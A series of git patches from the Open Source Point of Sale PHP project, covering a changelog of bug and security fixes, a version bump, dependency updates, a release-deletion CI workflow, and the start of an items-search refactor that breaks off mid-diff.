@Lucas Lyimo +- Fix: Refresh session language for employee after update. (#4245) by @jekkos +- Fix Docker image upload by replacing slashes in TAG by @jekkos +- Fix broken object-level authorization in Employees controller (CVE-worthy) (#4391) by @jekkos +- Bump dompurify from 3.3.1 to 3.3.2 (#4402) by @dependabot[bot] +- Fix incorrect argument types in migration round_number() methods (#4403) by @jekkos +- dd validation for invalid stock locations in CSV import (#4399) by @jekkos +- fix(security): whitelist and validate invoice template types (#4393) by @jekkos +- Fix second-order SQL injection in currency_symbol config (#4390) by @jekkos +- Add row-level authorization to password change endpoints (#4401) by @jekkos +- Fix: Handle image filenames with spaces in thumbnails by @jekkos +- Fix: Sanitize image filenames to prevent thumbnail display issues (#4372) by @jekkos +- Add migration to fix existing image filenames with spaces (#4372) by @jekkos +- Refactor: Move ADMIN_MODULES to constants, rename methods to camelCase by @jekkos +- Fix SQL injection in custom attribute search by @Ollama +- Fix stored XSS vulnerability in item descriptions by @Ollama +- Fix stored XSS vulnerabilities in employee permissions and customer data by @Ollama +- Fix: Preserve CHECKBOX attribute state when adding attributes (#4385) by @jekkos +- Fix payment type becoming null when editing sales by @Ollama +- Fix broken SQL injection fix - use havingLike() instead of having() with named params by @Ollama +- Fix mass assignment vulnerability in bulk edit (GHSA-49mq-h2g4-grr9) by @Ollama +- Sync language files (#3468) by @Ollama +- Add workflow to auto-update issue templates with releases by @Ollama +- Update SECURITY.md with published security advisories by @Ollama +- Bump jspdf from 4.1.0 to 4.2.0 (#4383) by @dependabot[bot] +- Add filter persistence for table views via URL query string (#4400) by @jekkos +- Fix filter persistence javascript issues (#4400) by @jekkos +- Fix PHPUnit test configuration for database connectivity (#4430) by @jekkos +- Fix IDOR vulnerability in password change (GHSA-mcc2-8rp2-q6ch) (#4427) by @jekkos +- Fix XSS vulnerability in tax invoice view (#4432) by @jekkos +- Fix permission bypass in Sales.getManage() access control (#4428) by @jekkos +- Update SECURITY.md with published security advisories (#4431) by @jekkos +- Fix SQL injection in suggestions column configuration (#4421) by @jekkos +- Fix PHPUnit environment variables not being set (#4434) by @jekkos +- Fix DECIMAL attribute not respecting locale format (#4422) by @jekkos +- Fix stored XSS vulnerability in Attribute Definitions (GHSA-rvfg-ww4r-rwqf) (#4429) by @jekkos +- Fix: Host Header Injection vulnerability (GHSA-jchf-7hr6-h4f3) by @Ollama +- Fix stored XSS in gcaptcha_site_key on login page by @Ollama +- Fix stored XSS via stock location name by @Ollama +- Fix Token_lib::render() for PHP 8.4 compatibility by @Ollama +- Use CIUnitTestCase for consistency with other tests by @Ollama +- Fix: Pass parameter to generate() and add composite format tests by @Ollama +- Fix strftime directives handling and tighten test assertions by @Ollama +- Add AGENTS.md with coding guidelines for AI agents by @Ollama +- Fix: Add Debit Card filter to Daily Sales and Takings by @Ollama +- Fix Taxes Summary Report totals not matching row values by @Ollama +- Add unit tests for Taxes Summary Report calculations by @Ollama +- Fix rounding consistency and update tests per review feedback by @Ollama +- Rewrite tests to use database integration testing by @Ollama +- Add seed data to tests for proper integration testing by @Ollama +- Fix: Restrict employee selection in expenses and receivings forms by @Ollama +- Fix review comments: remove redundant loop and add XSS escaping by @Ollama +- Bump jspdf from 4.2.0 to 4.2.1 by @dependabot[bot] +- Bump picomatch from 2.3.1 to 2.3.2 (#4451) by @dependabot[bot] +- fix: Clear sale session after completing sale by @Ollama +- fix: Remove redundant clear_mode() calls by @Ollama +- Translate missing strings in multiple languages by @Ollama +- Fix translation issues from code review by @Ollama +- Remove English fallbacks from non-English translations by @Ollama +- Add Calendar.php translations for missing languages by @Ollama +- feat: migrate CI from Travis to GitHub Actions with enhancements by @Ollama +- refactor: remove tables.sql and constraints.sql (#4447) by @Ollama +- refactor: remove build-database gulp task (#4447) by @Ollama +- refactor: optimize Docker image size by @Ollama +- fix: remove duplicate phpunit.xml that prevented tests from running by @Ollama +- fix: Use file-based session until database is migrated by @Ollama +- feat: Improve migration UX on login page by @Ollama +- Disable opencode workflow + run docker build by @jekkos +- Fix negative price/quantity/discount validation (GHSA-wv3j-pp8r-7q43) (#4450) by @Nozomu Sasaki (Paul) +- fix(ci): replace / with _ in branch names for Docker tags by @Ollama +- fix(security): prevent command injection in sendmail path configuration by @Ollama +- fix(security): prevent SQL injection in tax controller sort columns by @Ollama +- feat: add release workflow with automated version bumping by @Ollama +- refactor: simplify release workflow to version bump only by @Ollama +- fix: address review comments by @Ollama +- fix: address all review comments and restore issue template version update by @Ollama +- fix: Tax Rate form not loading due to router service failure (#4479) by @jekkos +- fix: Handle empty database on fresh install (#4467) by @jekkos +- Fix: Improve allowedHostnames .env configuration and fail-fast in production (#4482) by @jekkos +- [Feature]: Case-sensitive attribute updates and CSV Import attribute deletion capability (#4384) by @objecttothis +- fix: change docker image tag to master by @jekkos +- Update to CodeIgniter 4.7.2 (#4485) by @objecttothis +- Bump lodash from 4.17.23 to 4.18.1 (#4462) by @dependabot[bot] +- [Fix]: Add missing return statements to Sales Controller functions by @Ollama +- Encourage users to star the project by @objecttothis +- Bump dompurify from 3.3.2 to 3.4.0 (#4512) by @dependabot[bot] +- fix: propagate attribute definition failures in postSaveGeneral() (#4509) by @jekkos +- fix: Escape dynamic output and fix CSS property in barcode_sheet.php (#4501) by @jekkos +- Fix CRC currency reverting to EUR/LAK in locale config (#4511) by @jekkos +- fix: Add missing $img_tag variable in Sales::getSendPdf() (#4515) by @jekkos +- fix: Language dropdown not displaying saved language correctly (#4518) by @jekkos +- fix: Scope orWhere clauses in Item::exists() and Item::get_item_id() (#4520) by @jekkos +- fix: Update calendar translations (#4498) by @jekkos +- fix: Catch mysqli_sql_exception in DB fallback handlers for fresh Docker installs (#4525) by @jekkos +- fix(home): improve internal data type handling for user identification in auth process by @enricodelarosa +- Assignable Keyboard Shortcuts Updates (#4532) by @WShells +- chore: miscellaneous updates and improvements (#4530) by @BudsieBuds +- chore(deps): bump minimatch from 3.1.2 to 3.1.5 (#4536) by @dependabot[bot] +- chore: sync project files to match upstream templates (#4537) by @BudsieBuds +- fix(ci): include hidden files in Docker build context (#4543) by @jekkos +- feat: add ALLOWED_HOSTNAMES environment variable support for Docker/Compose (#4544) by @jekkos +- fix(docker): correct permissions and fix migration barcode_type error (#4546) by @jekkos +- docs: Update SECURITY.md with disclosure process (#4549) by @jekkos +- feat: Bank transfer and wallet payment option added #4540 (#4547) by @BhojKamal +- fix(security): Path traversal vulnerability in getPicThumb (#4545) by @jekkos +- fix(security): SQL injection and path traversal vulnerabilities (#4539) by @jekkos +- fix: Capture CSV import failures in save_tax_data and save_inventory_quantities (#4507) by @jekkos +- fix: validate attributeId > 0 in saveAttributeLink() (#4508) by @jekkos +- feat: Add deployment workflow with approval gates (#4522) by @jekkos +- Bugfixes to get Migration working on MySQL and MariaDB (#4551) by @objecttothis +- Bugfix: Sale search in register not handling trailing space properly (#4557) by @objecttothis +- fix: cast string returns to int in MY_Migration (#4560) by @jekkos +- Add fallback for allowedHostnames environment variable (#4565) by @objecttothis +- fix: Allow searching by Sale ID in Takings/Daily Sales view (#4569) by @jekkos +- Add Guards to Database Migration (#4571) by @objecttothis +- fix: tax rate inputs blank with comma-decimal locales (#4555) by @jekkos +- fix(security): Fix DOMPDF RCE and customer email sanitization (#4568) by @jekkos +- Fix overly lenient date validation (#4574) by @objecttothis +- fix(security): Escape attribute value in register by @jekkos +- chore(deps): bump dompurify from 3.4.0 to 3.4.11 (#4578) by @dependabot[bot] +- Bugfix: Fix problems with migration UI in login (#4589) by @objecttothis +- Forgotten commit from login migration branch (#4592) by @objecttothis +- Feature: Payment reference code (#4587) by @objecttothis +- fix(giftcard): correct return type and rename getGiftcardId method (#4600) by @objecttothis +- chore(deps): bump dompurify from 3.4.11 to 3.4.12 (#4602) by @dependabot[bot] +- bugfix(reports): crash on detailed sales report when sale has multiple payments with reference codes (#4599) by @objecttothis +- style(models): normalize quote style in SQL GROUP_CONCAT expression (#4608) by @objecttothis +- chore(deps): upgrade dompdf from v2.0.8 to v3.1.6 (#4610) by @objecttothis +- chore(deps): bump brace-expansion (#4614) by @dependabot[bot] +- chore(deps): add xlsx via SheetJS CDN and upgrade tableexport plugin (#4615) by @objecttothis +- chore(deps): bump lodash.template from 4.5.0 to 4.18.1 (#4616) by @objecttothis +- fix(login): skip auth validation on new install to allow migration (#4609) by @objecttothis +- fix: Wrap postSave() in single transaction for atomicity (#4506) by @jekkos +- refactor: Replace var with let/const in JavaScript files (#4503) by @jekkos +- fix: get_definition_by_name() returns single row instead of multi-dimensional array (#4452) (#4464) by @Jonathan Chang +- fix(config): validate theme param to prevent XSS via invalid theme (#4620) by @objecttothis +- fix(sales): enforce server-side authorization for price changes (#4631) by @objecttothis +- fix(sales): escape quote number in email template to prevent XSS (#4625) by @objecttothis +- refactor(migrations): rename execute_script to executeScript across all migrations (#4611) by @objecttothis +- fix(auth): validate gcaptcha before password to prevent bypass (#4618) by @objecttothis +- refactor: apply PSR-12 naming to Attribute definition methods (#4624) by @Rayan Abdul Cader +- fix(security): sanitize filenames and escape logo path in config (#4630) by @objecttothis +- fix: use db_connect() for item save transactions (#4636) by @richardmilles +- fix(xss): remove redundant escaping that double-encoded item attribute values (#4628) by @objecttothis +- chore(deps): bump codeigniter4/framework from 4.7.2 to 4.7.4 (#4638) by @dependabot[bot] +- chore(deps): bump dompurify from 3.4.12 to 3.4.13 (#4639) by @dependabot[bot] +- Reject item CSV imports whose header row is missing required columns (#4597) by @Sai Asish Y +- fix(items): validate item_number and skip receiving quantity default for temp items (#4621) by @objecttothis +- Feature: CodeIgniter Throttler (#4619) by @objecttothis +- Bugfix: Resolve Race Condition in Rewards and Gift Card Spending (#4640) by @objecttothis +- hotfix(auth): hash throttler keys to improve security (#4646) by @objecttothis +- fix(items): add explicit sentinel value for clearing supplier in bulk edit (#4617) by @objecttothis +- Codeigniter changes between 4.7.2 and 4.7.4 (#4650) by @objecttothis +- Hotfix: Fix CI3 database migration caused by regression (#4649) by @objecttothis +- fix(sales): gate per-record endpoints behind reports_sales grant (#4627) by @objecttothis +- fix(email): update method call to camelCase for PSR-12 compliance (#4659) by @objecttothis +- Feature admin account safeguards (#4657) by @objecttothis +- Ensure payload data is escaped to prevent XSS (#4664) by @objecttothis +- fix(sales): enforce reports_sales grant on search endpoint (#4673) by @objecttothis +- fix(reports, home): resolve double-URL-decoding bypass for method grants (#4660) (#4666) by @objecttothis +- Bugfix tax names (#4677) by @objecttothis +- feat(validation, tests): add `valid_path_strict` rule and integrate into mailpath validation (#4684) by @objecttothis +- fix(sales): harden payment validation and gift card handling by @objecttothis +- fix: prevent duplicate items when editing imported rows (#4634) by @richardmilles +- fix(barcode): resolve string interpolation issue in barcode display html (#4692) by @Vighnesh Nilajakar +- fix(sales): gate getSearch behind reports_sales grant by @jekkos +- bugfix(sales): reject non-negative gift-card amount_tendered (#4674) by @jekkos +- fix(sales): harden unsuspend with auth, status gating, and null safety by @objecttothis +- fix(tests): resolve all phpunit failures — clean-DB suite green (#4626) (#4691) by @jekkos +- fix(licenses): guard malformed data, parallelize gulp tasks, require Node 20 by @objecttothis +- fix(validation): broaden sendmail path regex, expand i18n, strip advisory IDs by @objecttothis +- fix(security): handle special characters in `.env` key values and improve insertion logic (#4656) by @objecttothis +- fix(locale): validate language_code against known locales to block path traversal (#4704) by @jekkos +- Fix GHSA-frx7-c5vv-m3mr: recompute cashup total server-side and force owner identity (#4706) by @jekkos +- feat(security): add THROTTLE_KEY env-var fallback for throttle.key (#4707) by @jekkos +- fix(i18n): translate remaining English labels in Swiss German Items.php (#4701) by @Rayan Abdul Cader +- fix(ci): stop stamping app version onto master and branch Docker tags (#4709) by @jekkos +- chore(deps): bump fflate from 0.8.2 to 0.8.3 (#4690) by @dependabot[bot] +- fix(i18n): swap print_delay_autoreturn number/required messages in 5 locales (#4699) by @Rayan Abdul Cader +- chore(release): unified git-cliff release workflow (changelog + tag + optional bump) (#4711) by @jekkos +- fix(release): push changelog/bump to master via admin PAT (GITHUB_TOKEN blocked by branch protection) by @jekkos +- docs: add 3.4.2 changelog by @github-actions[bot] +- chore: bump version to 3.4.3 by @github-actions[bot] +- fix(security): HTML-escape attribute dropdown option labels in items attributes view (#4715) by @jekkos +- fix(release): keep package-lock.json version in sync on bump (#4718) by @jekkos +- fix(security): strip all HTML tags from $.notify alert messages (#4716) by @jekkos +- chore: strip advisory IDs from code comments and changelog (#4720) by @jekkos +- fix(security): report unwritable .env.lock, make throttle limits configurable (#4714) by @jekkos +- chore: reset 3.4.2 (undo premature 3.4.3 bump + stale changelog) for re-cut by @jekkos + ## [3.4.1] - 2025-06-05 - Feature: PSR-12 Compliant Indentation by @objecttothis in ([#4196](https://github.com/opensourcepos/opensourcepos/pull/4196)) - Add .env to dist zip by @jekkos in ([#4199](https://github.com/opensourcepos/opensourcepos/pull/4199)) From 89c6d5a3e95d31a463dc607ab6d688da0d6d9710 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 30 Sep 2026 16:27:25 +0000 Subject: [PATCH 22/31] chore: bump version to 3.4.3 --- app/Config/App.php | 2 +- package-lock.json | 2 +- package.json | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/app/Config/App.php b/app/Config/App.php index 13b132b0d..de204b036 100644 --- a/app/Config/App.php +++ b/app/Config/App.php @@ -12,7 +12,7 @@ class App extends BaseConfig * * @var string */ - public string $application_version = '3.4.2'; + public string $application_version = '3.4.3'; /** * This is the commit hash for the version you are currently using. diff --git a/package-lock.json b/package-lock.json index eb1011d1f..13a032102 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,6 +1,6 @@ { "name": "@opensourcepos/opensourcepos", - "version": "3.4.2", + "version": "3.4.3", "lockfileVersion": 3, "requires": true, "packages": { diff --git a/package.json b/package.json index f2546ba4a..13e735c21 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@opensourcepos/opensourcepos", - "version": "3.4.2", + "version": "3.4.3", "description": "Open Source Point of Sale is a web based point of sale system written in the PHP language. It uses MySQL as the data storage back-end and has a simple user interface.", "keywords": [ "point-of-sale", From fd3d642a8ebb6b2dce3193a19fe7bf55dfc31428 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 1 Oct 2026 20:11:07 +0200 Subject: [PATCH 23/31] chore(deps): bump dompurify from 3.4.13 to 3.4.16 (#4723) Bumps [dompurify](https://github.com/cure53/DOMPurify) from 3.4.13 to 3.4.16. - [Release notes](https://github.com/cure53/DOMPurify/releases) - [Commits](https://github.com/cure53/DOMPurify/compare/3.4.13...3.4.16) --- updated-dependencies: - dependency-name: dompurify dependency-version: 3.4.16 dependency-type: direct:production ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- package-lock.json | 8 ++++---- package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/package-lock.json b/package-lock.json index 13a032102..15e31e802 100644 --- a/package-lock.json +++ b/package-lock.json @@ -28,7 +28,7 @@ "chartist-plugin-tooltips": "^0.0.17", "clipboard": "^2.0.11", "coffeescript": "^2.7.0", - "dompurify": "^3.4.13", + "dompurify": "^3.4.16", "elegant-circles": "github:opensourcepos/elegant-circles#minified", "es6-promise": "^4.2.8", "file-saver": "^2.0.5", @@ -1629,9 +1629,9 @@ "integrity": "sha512-ED3jP8saaweFTjeGX8HQPjeC1YYyZs98jGNZx6IiBvxW7JG5v492kamAQB3m2wop07CvU/RQmzcKr6bgcC5D/Q==" }, "node_modules/dompurify": { - "version": "3.4.13", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.13.tgz", - "integrity": "sha512-2vmYIoqjze2d+kakP8S/nS5shfsl587kzwEjcGlTdiksUVgFHnFCsLYDVj/JNqJVOQZGSYBTmuycv0PodwmnMQ==", + "version": "3.4.16", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.16.tgz", + "integrity": "sha512-sqo+pNp3qRhCIpbgRi1y8Tgk27Bo2Ry7w0dC1NBeNTdZChWjz9Xb/KOoZbRP/R6pQZ80Qw8YhXw13hWWBbMRnQ==", "license": "(MPL-2.0 OR Apache-2.0)", "optionalDependencies": { "@types/trusted-types": "^2.0.7" diff --git a/package.json b/package.json index 13e735c21..51beed1f4 100644 --- a/package.json +++ b/package.json @@ -51,7 +51,7 @@ "chartist-plugin-tooltips": "^0.0.17", "clipboard": "^2.0.11", "coffeescript": "^2.7.0", - "dompurify": "^3.4.13", + "dompurify": "^3.4.16", "elegant-circles": "github:opensourcepos/elegant-circles#minified", "es6-promise": "^4.2.8", "file-saver": "^2.0.5", From 348a8352cf439c4e1af5d1bc1eb033fc8d0f8646 Mon Sep 17 00:00:00 2001 From: jekkos Date: Fri, 2 Oct 2026 06:00:56 +0000 Subject: [PATCH 24/31] fix(release): delete the unstable release by name, leave drafts alone --- .github/workflows/delete-unstable-release.yml | 34 ++++++++++++------- 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/.github/workflows/delete-unstable-release.yml b/.github/workflows/delete-unstable-release.yml index c10399599..c4247ed7c 100644 --- a/.github/workflows/delete-unstable-release.yml +++ b/.github/workflows/delete-unstable-release.yml @@ -8,15 +8,25 @@ on: jobs: delete_unstable_release: runs-on: ubuntu-latest - steps: - - name: "Delete last unstable release" - uses: sgpublic/delete-release-action@v1.2 - env: - GITHUB_TOKEN: ${{ secrets.TOKEN }} - with: - release-drop: false - release-drop-tag: false - pre-release-drop: true - pre-release-keep-count: -1 - pre-release-drop-tag: true - + steps: + - name: "Delete the unstable release (matched by name)" + env: + TOKEN: ${{ secrets.TOKEN }} + RELEASE_NAME: "Unstable OpenSourcePOS" + TAG_NAME: "unstable" + run: | + set -euo pipefail + api="https://api.github.com/repos/${GITHUB_REPOSITORY}" + # Resolve the release id from its exact name so only this one release + # is ever touched; drafts and every other release are left alone. + id=$(curl -fsSL -H "Authorization: Bearer ${TOKEN}" "${api}/releases?per_page=100" \ + | jq -r --arg n "${RELEASE_NAME}" '.[] | select(.name==$n) | .id // empty') + if [ -z "${id}" ]; then + echo "No release named '${RELEASE_NAME}' found; nothing to do." + exit 0 + fi + curl -fsSL -X DELETE -H "Authorization: Bearer ${TOKEN}" "${api}/releases/${id}" >/dev/null + echo "Deleted release '${RELEASE_NAME}' (id=${id})" + curl -fsSL -X DELETE -H "Authorization: Bearer ${TOKEN}" "${api}/git/refs/tags/${TAG_NAME}" >/dev/null \ + || echo "Tag '${TAG_NAME}' already gone; skipping." + echo "Deleted tag '${TAG_NAME}'" From 90feb434eb30cda4948cf69d0a93a3fcad3d4807 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 2 Oct 2026 14:18:33 +0400 Subject: [PATCH 25/31] chore(deps): bump moment from 2.30.1 to 2.31.0 (#4722) Bumps [moment](https://github.com/moment/moment) from 2.30.1 to 2.31.0. - [Release notes](https://github.com/moment/moment/releases) - [Changelog](https://github.com/moment/moment/blob/develop/CHANGELOG.md) - [Commits](https://github.com/moment/moment/compare/2.30.1...2.31.0) --- updated-dependencies: - dependency-name: moment dependency-version: 2.31.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- package-lock.json | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 15e31e802..0231077d3 100644 --- a/package-lock.json +++ b/package-lock.json @@ -4484,9 +4484,10 @@ } }, "node_modules/moment": { - "version": "2.30.1", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", - "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", + "version": "2.31.0", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.31.0.tgz", + "integrity": "sha512-0acOTfMiWOheYS4eoWb80yYMb/JLvVv9SHbs2PehaDzfUG0Bw855SKyk0IKTnPGa5+U2bmi3W68l1+sGLX/pvw==", + "license": "MIT", "engines": { "node": "*" } From 9e06a231a7899c4a1161535d3ff7b22410a2fdc7 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 2 Oct 2026 14:34:32 +0400 Subject: [PATCH 26/31] chore(deps): bump brace-expansion (#4721) Bumps and [brace-expansion](https://github.com/juliangruber/brace-expansion). These dependencies needed to be updated together. Updates `brace-expansion` from 1.1.18 to 1.1.21 - [Release notes](https://github.com/juliangruber/brace-expansion/releases) - [Commits](https://github.com/juliangruber/brace-expansion/compare/v1.1.18...v1.1.21) Updates `brace-expansion` from 2.1.4 to 2.1.7 - [Release notes](https://github.com/juliangruber/brace-expansion/releases) - [Commits](https://github.com/juliangruber/brace-expansion/compare/v1.1.18...v1.1.21) --- updated-dependencies: - dependency-name: brace-expansion dependency-version: 1.1.21 dependency-type: indirect - dependency-name: brace-expansion dependency-version: 2.1.7 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- package-lock.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/package-lock.json b/package-lock.json index 0231077d3..acb1b5fff 100644 --- a/package-lock.json +++ b/package-lock.json @@ -912,9 +912,9 @@ "license": "MIT" }, "node_modules/brace-expansion": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.4.tgz", - "integrity": "sha512-hGfVzPxthbf3+2yjg/RBs60cB0FhqBS/zvdV/4wn4/BmN0bNMMHPc4V/BbFieqf1TKAGGAHnY4eSjajCl0f2Xg==", + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", "dev": true, "license": "MIT", "dependencies": { @@ -5233,9 +5233,9 @@ } }, "node_modules/rimraf/node_modules/brace-expansion": { - "version": "1.1.18", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", - "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", "dev": true, "license": "MIT", "dependencies": { From 1b8ee2e3c117fad5c2d8f542cb615212e040a42f Mon Sep 17 00:00:00 2001 From: objecttothis <17935339+objecttothis@users.noreply.github.com> Date: Fri, 2 Oct 2026 14:56:20 +0400 Subject: [PATCH 27/31] feat(items): optimize search, attribute filtering, and sort for items view (#4652) feat(items): optimize search, attribute filtering, and sort for items view (#4652) BREAKING CHANGE: none ## Search & Query Optimization - Split item search into two-phase query: Phase A resolves qualifying IDs, Phase B joins scoped display tables for better performance and readability - Sanitize `definition_ids` via `array_map` to prevent injection vulnerabilities - Introduce subquery for SUM aggregation to prevent over-counting across joins - Add validation requiring both start and end dates before applying date range filter ## Attribute Search (fixes #2919, #2722) - Add `SHOW_IN_SEARCH` flag (value 8) to Attribute model to separate searchability from table visibility - Add `parse_attribute_search()` to parse syntax like `color:blue AND size:large` - Add `applyNamedAttributeSearch()` supporting decimal and date types with locale-aware parsing - Support AND/OR logic for multi-attribute queries ## Sorting - Add `get_attribute_sort_definition_id()` to detect attribute column sorting - Join attribute tables dynamically when sorting by attribute columns - Use `MAX()` for consistent results when sorting by attribute values - Replace static sort column list with dynamic headers via `itemSortColumns()` - Add `sanitizeSortColumnAttribute()` to validate attribute definition IDs as sort columns ## Tax & Data Row - Streamline tax computation in `getItemDataRow()` ## Low Inventory Filter - Require valid `stock_location_id` before applying low inventory filter - Add conditional logic to sort by sum of quantities across all locations when `stock_location_id` is invalid ## Localization - Add `show_in_search` / `show_in_search_visibility` strings to all language files - Translated: de-DE, es-ES, fr, it; English placeholder for remaining locales - Unify single-quote style across all attribute language files ## Refactoring & Style - Adopt camelCase naming throughout (variables, helpers, methods) - Replace `sanitizeSortColumnAttribute` with reusable `sanitizeSortColumn` from `Secure_Controller` - Simplify column key extraction using `array_key_first` - Apply PSR-12 formatting ## Tests - Add tests for tax computation, quantity aggregation (single- and multi-location), named attribute search, free-text parsing, and date/decimal type handling - Add `ensureStockLocation` helper to auto-create missing stock locations in tests - Refactor tests to handle config cache issues Co-authored-by: Ollama --- AGENTS.md | 2 +- app/Controllers/Attributes.php | 20 +- app/Controllers/Items.php | 94 ++++- app/Controllers/Secure_Controller.php | 12 +- app/Helpers/tabular_helper.php | 70 ++-- app/Language/ar-EG/Attributes.php | 62 +-- app/Language/ar-LB/Attributes.php | 62 +-- app/Language/az/Attributes.php | 62 +-- app/Language/bg/Attributes.php | 62 +-- app/Language/bs/Attributes.php | 62 +-- app/Language/ckb/Attributes.php | 62 +-- app/Language/cs/Attributes.php | 62 +-- app/Language/da/Attributes.php | 62 +-- app/Language/de-CH/Attributes.php | 62 +-- app/Language/de-DE/Attributes.php | 62 +-- app/Language/el/Attributes.php | 62 +-- app/Language/en-GB/Attributes.php | 62 +-- app/Language/en/Attributes.php | 62 +-- app/Language/es-ES/Attributes.php | 62 +-- app/Language/es-MX/Attributes.php | 62 +-- app/Language/fa/Attributes.php | 62 +-- app/Language/fr/Attributes.php | 62 +-- app/Language/he/Attributes.php | 62 +-- app/Language/hr-HR/Attributes.php | 62 +-- app/Language/hu/Attributes.php | 62 +-- app/Language/hy/Attributes.php | 62 +-- app/Language/id/Attributes.php | 62 +-- app/Language/it/Attributes.php | 62 +-- app/Language/km/Attributes.php | 62 +-- app/Language/lo/Attributes.php | 62 +-- app/Language/ml/Attributes.php | 62 +-- app/Language/nb/Attributes.php | 62 +-- app/Language/nl-BE/Attributes.php | 62 +-- app/Language/nl-NL/Attributes.php | 62 +-- app/Language/pl/Attributes.php | 62 +-- app/Language/pt-BR/Attributes.php | 62 +-- app/Language/ro/Attributes.php | 62 +-- app/Language/ru/Attributes.php | 62 +-- app/Language/sv/Attributes.php | 62 +-- app/Language/sw-KE/Attributes.php | 64 +-- app/Language/sw-TZ/Attributes.php | 64 +-- app/Language/ta/Attributes.php | 62 +-- app/Language/th/Attributes.php | 62 +-- app/Language/tl/Attributes.php | 62 +-- app/Language/tr/Attributes.php | 62 +-- app/Language/uk/Attributes.php | 62 +-- app/Language/ur/Attributes.php | 62 +-- app/Language/vi/Attributes.php | 62 +-- app/Language/zh-Hans/Attributes.php | 62 +-- app/Language/zh-Hant/Attributes.php | 62 +-- app/Models/Attribute.php | 3 +- app/Models/Item.php | 480 ++++++++++++++++++----- app/Models/Item_taxes.php | 20 + tests/Models/ItemSearchTest.php | 468 ++++++++++++++++++++++ tests/Models/ItemTaxesMultipleTest.php | 79 ++++ tests/Support/ItemSearchFixtureTrait.php | 133 +++++++ tests/helpers/GetItemDataRowTest.php | 107 +++++ 57 files changed, 2765 insertions(+), 1517 deletions(-) create mode 100644 tests/Models/ItemSearchTest.php create mode 100644 tests/Models/ItemTaxesMultipleTest.php create mode 100644 tests/Support/ItemSearchFixtureTrait.php create mode 100644 tests/helpers/GetItemDataRowTest.php diff --git a/AGENTS.md b/AGENTS.md index 52163b0d1..bbca08c83 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -12,7 +12,7 @@ This document provides guidance for AI agents working on the Open Source Point o - PHP 8.2+ features acceptable (named arguments, enums, readonly properties) - Write PHP 8.2+ compatible code with proper type declarations - Always import classes, functions, and constants with a `use` statement at the top of the file instead of referencing them inline via fully-qualified name (e.g. `use Config\Database;` then `Database::connect()`, not `\Config\Database::connect()`) -- Do not add comments or docblocks that merely restate what the code already makes clear — only comment on non-obvious rationale, constraints, or behavior +- No useless comments or docblocks: if the code speaks for itself, explanatory comments are unnecessary. Do not add comments or docblocks that merely restate what the code already makes clear (e.g. `@param array $items` next to `array $items`, or a comment repeating a method's name) — only comment on non-obvious rationale, constraints, or behavior - Views in `app/Views/errors/html/` are excluded from the fixer - Run fixer before committing: `vendor/bin/php-cs-fixer fix --config=.php-cs-fixer.no-header.php` - **JavaScript**: use `const` for variables that are never reassigned, `let` for variables that are. Never use `var`. diff --git a/app/Controllers/Attributes.php b/app/Controllers/Attributes.php index de78f15d4..0b59836ae 100644 --- a/app/Controllers/Attributes.php +++ b/app/Controllers/Attributes.php @@ -257,26 +257,26 @@ class Attributes extends Secure_Controller } /** - * @param int $definition_id + * @param int $definitionId * @return string */ - public function getView(int $definition_id = NO_DEFINITION_ID): string + public function getView(int $definitionId = NO_DEFINITION_ID): string { - $info = $this->attribute->getAttributeInfo($definition_id); + $info = $this->attribute->getAttributeInfo($definitionId); foreach (get_object_vars($info) as $property => $value) { $info->$property = $value; } - $data['definition_id'] = $definition_id; - $data['definition_values'] = $this->attribute->getDefinitionValues($definition_id); - $data['definition_group'] = $this->attribute->getDefinitionsByType(GROUP, $definition_id); + $data['definition_id'] = $definitionId; + $data['definition_values'] = $this->attribute->getDefinitionValues($definitionId); + $data['definition_group'] = $this->attribute->getDefinitionsByType(GROUP, $definitionId); 